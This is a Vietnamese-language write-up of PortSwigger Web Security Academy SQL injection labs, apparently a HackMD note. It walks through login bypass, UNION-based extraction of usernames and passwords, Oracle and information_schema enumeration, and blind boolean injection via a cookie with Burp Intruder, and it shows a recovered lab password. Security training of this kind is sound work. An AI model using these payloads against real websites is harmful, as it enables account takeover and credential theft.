__|c13n__
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Portswigger writeup ## Topic1 : SQL Injection ### Lab1: Yêu cầu của lab này là sqli để hiện tất cả các danh mục sản phẩm một trang [web shopping](https://0a3300d103e508e3c4f682a5002c001e.web-security-academy.net/). Web này bị chứa lỗi sqli trong khi chọn danh mục sản phẩm. Khi người dùng chọn một danh mục, ứng dụng này sẽ thực hiện một truy vấn: ```sql= SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` Như vậy để giải quyết bài toán chúng ta chỉ cần sửa đổi tham số category thành `'+OR+1=1--` Dùng burp chúng ta có thể dễ dàng giải quyết được lab này. ### Lab2: Yêu cầu của lab này là đăng nhập vào [web](https://0a00007303218104c23f621100f300dc.web-security-academy.net/) bằng tài khoản administrator. Khi người dùng thực hiện đăng nhập bằng tài khoản và mật khẩu ứng dụng sẽ kiểm tra thông tin đăng nhập bằng cách thực hiện truy vấn SQL sau: ```sql= SELECT * FROM users WHERE username = 'username' AND password = 'password' ``` Nếu thông tin đăng nhập đúng thì người dùng sẽ đăng nhập thành công, ngược lại thông tin đăng nhập sai thì ứng dụng sẽ từ chối đăng nhập. Như vậy kẻ tấn công có thể đăng nhập tài khoản của bất kì người dùng nào mà không cần mật khẩu bằng cách sử dụng chuỗi nhận xét trong SQL `--`. Ví dụ: ```sql= SELECT * FROM users WHERE username = 'administrator'--' AND password = '' ``` Như thực hiện truy vấn trên kẻ tấn công có thể đăng nhập vào tải khoản administrator mà không cần mật khẩu vì chuỗi nhận xét trong SQL(`--`) sẽ xóa mật khẩu tại mệnh đề WHERE trong câu lệnh truy vấn. Vậy để hoàn thành được lab ta cần dùng công cụ burpsuite để chặn thông tin đăng nhập đồng thời sử đổi tham số username thành `administrator'--` rồi gửi lên web. ### Lab3: Tấn công SQL Injection UNION, tìm số lượng cột được trả về bởi truy vấn. Lab này yêu cầu chúng ta xác định số lượng cột được trả về bởi truy vấn bằng cách sử dụng toán tử UNION. Nếu chưa biết các bạn có thể tìm hiểu thêm về toán tử UNION [tại đây](https://quantrimang.com/hoc/toan-tu-union-trong-sql-server-148035). Xác định số cột trong khi tấn công SQLi là một điều cần thiết. Vì khi biết được số cột ta có thể xác định được cấu trúc của cơ sở dữ liệu. Thông qua đó, chúng ta có thể tấn công thay đổi, xóa hoặc cập nhật dữ liệu. Nó cũng có thể được sử dụng để truy vấn dữ liệu của bạn và cung cấp các thông tin về lổ hổng bảo mật của hệ thống. Có 2 phương pháp để xác định số cột trong được trả từ truy vấn ban đầu * Phương pháp thứ nhất là sử dụng một loạt mệnh đề ORDER BY và tăng chỉ số cột cho đến khi xảy ra lỗi. Nếu số được chỉ định vượt qua số cột thực tế truy vấn sẽ xảy ra lỗi. Ví dụ: `'ORDER BY 1--` `'ORDER BY 2--` `'ORDER BY 3--` `etc.` * Phương pháp thứ hai là gửi một loạt tải trọng UNION SELECT chỉ định cái giá trụ NULL khác nhau. Nếu như số lượng NULL không khớp với số cột truy vấn sẽ trả về lỗi và ngược lại truy vấn sẽ không trả về lỗi nếu số NULL khớp với số cột. Ví dụ: `' UNION SELECT NULL--` `' UNION SELECT NULL,NULL--` `' UNION SELECT NULL,NULL,NULL--` `etc.` Như vậy chúng ta đã biết được các phương pháp xác định số cột trong cơ sở dữ liệu. Bây giờ chúng ta sẽ quay trở lại lab. Bạn có thể truy cập vào lab [tại đây](https://0ad2003c04e478abc0e0ef4c00020007.web-security-academy.net/). Như ở trên yêu cầu của lab là xác định số cột của cơ sở dữ liệu, chúng ta có thể sử dụng 2 cách đã nêu ở trên để giải quyết lab. ### Lab4: Tấn công SQL Injection UNION, xác định cột chứa văn bản Để giải quyết được lab này thì chúng ta cần giải quyết được lab3. Yêu cầu của lab là xác định cột chứa văn bản. Bước đầu chúng ta cần sử dụng công cụ Burp Suite để chặn và sửa đổi yêu cầu đặt bộ lọc danh mục sản phẩm. Sau đó chúng ta sẽ tiến hành tìm các cột của cơ sở dữ liệu theo 2 phương pháp đã trình bày ở bài wu lab3. Chúng ta sẽ xác minh được số cột ở đây là 3 bằng cách sử dụng tải trọng: `'+UNION+SELECT+NULL,NULL,NULL--` Bước tiếp theo chúng ta thử ngẫu nhiên các giá trị NULL thay bằng 'a' để tìm xem cột nào là cột chứa văn bản trong 3 cột. Ví dụ: `'+UNION+SELECT+'abcdef',NULL,NULL--` Nếu xảy ra lỗi hãy chuyển sang giá trị NULL tiếp theo và thử tiếp. Chúng ta sẽ thấy được cột chứa văn bản là cột 2 thông qua truy vấn: `' UNION SELECT NULL,'a',NULL--` ### Lab5: Tấn công UNION SQL Injection, lấy dữ liệu từ bảng khác Lab này chứa lỗ hổng SQL Injection trong danh mục bộ lọc sản phẩm. Để giải quyết được lab này chúng ta cần phải vận dụng các kiến thức đã được nêu ở trên về cuộc tấn công UNION để lấy dữ liệu từ bảng khác. Mục tiêu của lab này là truy xuất thông tin tên người dùng và mật khẩu của tài khoản administrator và dùng nó để đăng nhập Đầu tiên chúng ta cần xác định xem bảng này có bao nhiêu cột bằng cách sử dụng tấn công UNION hoặc sử dụng một loạt mệnh đề ORDER BY ta sẽ xác định được số cột có trong văn bản. Ta xác định được bảng trên có 2 cột sau khi truy vấn từ mệnh đề sau được trả về đúng: ```sql= ' UNION SELECT NULL,NULL-- ``` Sau khi ta đã xác định được số cột, việc tiếp theo cần làm xác định xem cột nào chứa văn bản (vì username và password đều định dạng là văn bản) Tiếp tục tấn công UNION như trên lab ta xác định được 2 cột trên đều chứa văn bản vì: mệnh đề trả về đúng ```sql= ' UNION SELECT 'abc','bcd'-- ``` Sau đó chúng ta dùng mệnh đề sau để truy xuất dữ liệu từ bảng users ```sql= ' UNION SELECT username, password FROM users-- ``` Chúng ta sẽ thấy được các username và password. Chúng ta chỉ cần tìm username là administrator rồi login là sẽ giải quyết được lab. ### Lab6: Tấn công UNION SQL Injection, truy xuất nhiều giá trị của một cột Yêu cầu của lab này là truy xuất tất cả thông tin về tài khoản và mật khẩu của người dùng, đồng thời đăng nhập với tư cách administrator. Cũng như các lab khác về SQL Injection việc đầu tiên chúng ta cần làm là tìm số cột có trong bảng bằng một trong hai phương pháp đã được nêu ở lab3. ```sql= ' UNION SELECT NULL,NULL-- ``` Tiếp đó chúng ta xác định xem các cột nào là cột chứa văn bản ```sql= ' UNION SELECT NULL,'abc'-- ``` Ta xác định được cột thứ 2 là cột chứa văn bản. Tiếp theo tấn công UNION SQL để lấy thông tin đăng nhập của các tài khoản ```sql= ' UNION SELECT NULL,username||'~'||password FROM users-- ``` Câu lệnh trên giúp chúng ta truy xuất thông tin username và password từ bảng users (Toán tử || là toán tử dùng để nối chuỗi trong SQLite, truy vấn sẽ trả về dạng "username~password") Sử dụng thông tin đăng nhập của tài khoản administrator ta hoàn thành được lab. ### Lab7: Tấn công SQL Injection, truy vấn nhiều loại và phiên bản của cơ sở dữ liệu trên Oracle Yêu cầu của lab là truy xuất được thông tin về phiên bản của cơ sở dữ liệu trên Oracle. Cũng như các lab khác chúng ta bắt đầu đi tìm xem bảng có mấy cột và cột nào là cột chứa văn bản. Ở đây bảng gồm 2 cột ```sql '+UNION+SELECT+'abc','def'+FROM+dual-- ``` và hai cột ở đây đều là văn bản được lấy từ bảng **dual** `` Oracle cung cấp cho bạn bảng DUAL (DUAL table), một bảng đặc biệt thuộc về schema của người dùng SYS nhưng nó có thể truy cập được cho tất cả người dùng. `` Gửi payload sau chúng ta sẽ có được thông tin về phiên bản cơ sở dữ liệu trên Oracle ```sql '+UNION+SELECT+BANNER,+NULL+FROM+v$version-- ``` ### Lab8: Tấn công SQL Injection, truy vấn loại và phiên bản của cở sở dữ liệu trên MySQL và Microsoft ### Lab9: Tấn công SQL injection, liệt kê nội dung cơ sở dữ liệu trên cơ sở dữ liệu không phải Oracle Thực hiện truy vấn sau ta xác định được trong bảng cơ sở dữ liệu của web có 2 cột và 2 cột này đều là văn bản. ```sql '+UNION+SELECT+'abc','def'-- ``` Sau đó chúng ta gửi truy vấn tiếp theo để truy xuất danh sách các bản trong cơ sở dữ liệu ```sql '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- ``` ``` Dạng xem INFORMATION_SCHEMA.TABLES cho phép bạn lấy thông tin về tất cả các bảng và dạng xem trong cơ sở dữ liệu. Theo mặc định, nó sẽ hiển thị cho bạn thông tin này cho từng bảng và dạng xem trong cơ sở dữ liệu. ``` | Column name | | Data type | Description | |:-----------------:| --- |:-----------------:|:-----------------------------------------:| | **TABLE_TYPE** | | **varchar(10)** | Type of table. Can be VIEW or BASE TABLE. | | **TABLE_NAME** | | **sysname** | Table name. | | **TABLE_SCHEMA** | | **nvarchar(128)** | Name of schema thatcontains the table. | | **TABLE_CATALOG** | | **nvarchar(128)** | Table qualifier. | Sau khi gửi truy vấn chúng ta thấy được thông tin của các bảng: Sau đó chúng ta cần thực hiện thêm một truy vấn để lấy thông tin chi tiết của các cột trong bảng ```sql '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'-- ``` ### Lab10: Tấn công SQL Injection liệt kê cơ sở dữ liệu trên Oracle Đầu tiên chúng ta sẽ gửi truy vấn để xác định số cột: ```sql ' order by 1-- ``` Tăng dần chỉ số cho đến khi chúng ta xác định được số cột. Ở đây chúng ta xác định được số cột là 2. Bước tiếp theo chúng ta sử dụng truy vấn UNION để xác định xem cột nào trong 2 cột đều là văn bản. ```sql ' UNION select 'a', 'a'-- ``` Tuy nhiên chúng ta đang khai thác trong Oracle nên chúng ta phải thêm mệnh đề **from DUAL** vào truy vấn. ```sql ' UNION select 'a', 'a' from DUAL-- ``` Sau khi gửi truy vấn chúng ta nhận được mã trả về là 200. Điều này chứng tỏ 2 cột đều là cột văn bản. Oracle ```sql ' UNION SELECT * FROM all_tables ``` Tìm kiếm được bảng TABLE_NAME là bảng ghi tên các bảng -> thay * = TABLE_NAME ```sql ' UNION SELECT table_name, null FROM all_tables-- ``` USERS_GCAPNM ```sql ' UNION SELECT column_name, null FROM all_tab_columns WHERE table_name = 'USERS_GCAPNM'-- ``` USERNAME_XLGDCW:PASSWORD_QEKOBS ```sql ' UNION SELECT USERNAME_XLGDCW, PASSWORD_QEKOBS from USERS_GCAPNM-- ``` administrator:siker2t88uv4c986c0cj ### Blind SQL Injection Truy cập trang đầu của cửa hàng và sử dụng Burp Suite để chặn và sửa đổi yêu cầu có chứa TrackingIdbánh quy. Để đơn giản, giả sử giá trị ban đầu của cookie là TrackingId=xyz. Sửa đổi TrackingIdcookie, thay đổi nó thành: TrackingId=xyz' AND '1'='1 Xác minh rằng thông báo "Chào mừng trở lại" xuất hiện trong phản hồi. Bây giờ thay đổi nó thành: TrackingId=xyz' AND '1'='2 Xác minh rằng thông báo "Chào mừng trở lại" không xuất hiện trong phản hồi. Điều này chứng tỏ cách bạn có thể kiểm tra một điều kiện boolean duy nhất và suy ra kết quả. Bây giờ thay đổi nó thành: TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a Xác minh rằng điều kiện là đúng, xác nhận rằng có một bảng tên là users. Bây giờ thay đổi nó thành: TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a Xác minh rằng điều kiện là đúng, xác nhận rằng có người dùng được gọi administrator. Bước tiếp theo là xác định có bao nhiêu ký tự trong mật khẩu của administratorngười dùng. Để thực hiện việc này, thay đổi giá trị thành: TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a Điều kiện này phải đúng, xác nhận rằng mật khẩu có độ dài lớn hơn 1 ký tự. Gửi một loạt giá trị tiếp theo để kiểm tra độ dài mật khẩu khác nhau. Gửi: TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a Sau đó gửi: TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a Và như thế. Bạn có thể thực hiện việc này một cách thủ công bằng cách sử dụng Burp Repeater vì độ dài có thể ngắn. Khi điều kiện không còn đúng (tức là khi thông báo "Chào mừng quay lại" biến mất), bạn đã xác định được độ dài của mật khẩu, thực tế là dài 20 ký tự. Sau khi xác định được độ dài của mật khẩu, bước tiếp theo là kiểm tra ký tự ở từng vị trí để xác định giá trị của nó. Điều này liên quan đến số lượng yêu cầu lớn hơn nhiều, vì vậy bạn cần sử dụng Burp Intruder. Gửi yêu cầu bạn đang thực hiện tới Burp Intruder bằng cách sử dụng menu ngữ cảnh. Trong tab Vị trí của Kẻ xâm nhập Burp, thay đổi giá trị của cookie thành: TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a Điều này sử dụng SUBSTRING()để trích xuất một ký tự từ mật khẩu và kiểm tra nó với một giá trị cụ thể. Cuộc tấn công của chúng tôi sẽ xoay vòng qua từng vị trí và giá trị có thể có, kiểm tra lần lượt từng vị trí. Đặt điểm đánh dấu vị trí tải trọng xung quanh phần cuối cùng aký tự trong giá trị cookie. Để thực hiện việc này, chỉ chọn avà nhấp vào nút "Thêm §". Sau đó, bạn sẽ thấy giá trị cookie sau đây (lưu ý các điểm đánh dấu vị trí tải trọng): TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§ Để kiểm tra ký tự ở từng vị trí, bạn sẽ cần gửi tải trọng phù hợp vào vị trí tải trọng mà bạn đã xác định. Bạn có thể giả định rằng mật khẩu chỉ chứa các ký tự chữ và số viết thường. Chuyển đến tab Tải trọng, kiểm tra xem "Danh sách đơn giản" đã được chọn chưa và bên dưới Cài đặt tải trọng sẽ thêm các tải trọng trong phạm vi a - z và 0 - 9. Bạn có thể dễ dàng chọn các tải trọng này bằng cách sử dụng trình đơn thả xuống "Thêm từ danh sách". Để có thể biết khi nào ký tự chính xác được gửi, bạn cần phải grep từng phản hồi cho biểu thức "Chào mừng trở lại". Để thực hiện việc này, hãy đi tới Tab cài đặt và phần "Grep - Match". Xóa mọi mục hiện có trong danh sách, sau đó thêm giá trị "Chào mừng trở lại". Khởi động cuộc tấn công bằng cách nhấp vào nút "Bắt đầu tấn công" hoặc chọn "Bắt đầu tấn công" từ menu Kẻ xâm nhập. Xem lại kết quả tấn công để tìm ra giá trị của nhân vật ở vị trí đầu tiên. Bạn sẽ thấy một cột trong kết quả có tên "Chào mừng trở lại". Một trong các hàng phải có dấu tích ở cột này. Tải trọng hiển thị cho hàng đó là giá trị của ký tự ở vị trí đầu tiên. Bây giờ, bạn chỉ cần chạy lại cuộc tấn công cho từng vị trí ký tự khác trong mật khẩu để xác định giá trị của chúng. Để thực hiện việc này, hãy quay lại cửa sổ Burp chính và tab Vị trí của Kẻ xâm nhập Burp và thay đổi độ lệch được chỉ định từ 1 thành 2. Sau đó, bạn sẽ thấy giá trị cookie sau đây: TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a Khởi động đòn tấn công đã sửa đổi, xem lại kết quả và ghi lại ký tự ở lần bù thứ hai. Tiếp tục quá trình kiểm tra phần bù 3, 4, v.v. cho đến khi bạn có toàn bộ mật khẩu. Trong trình duyệt, nhấp vào "Tài khoản của tôi" để mở trang đăng nhập. Sử dụng mật khẩu để đăng nhập như administratorngười dùng.

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully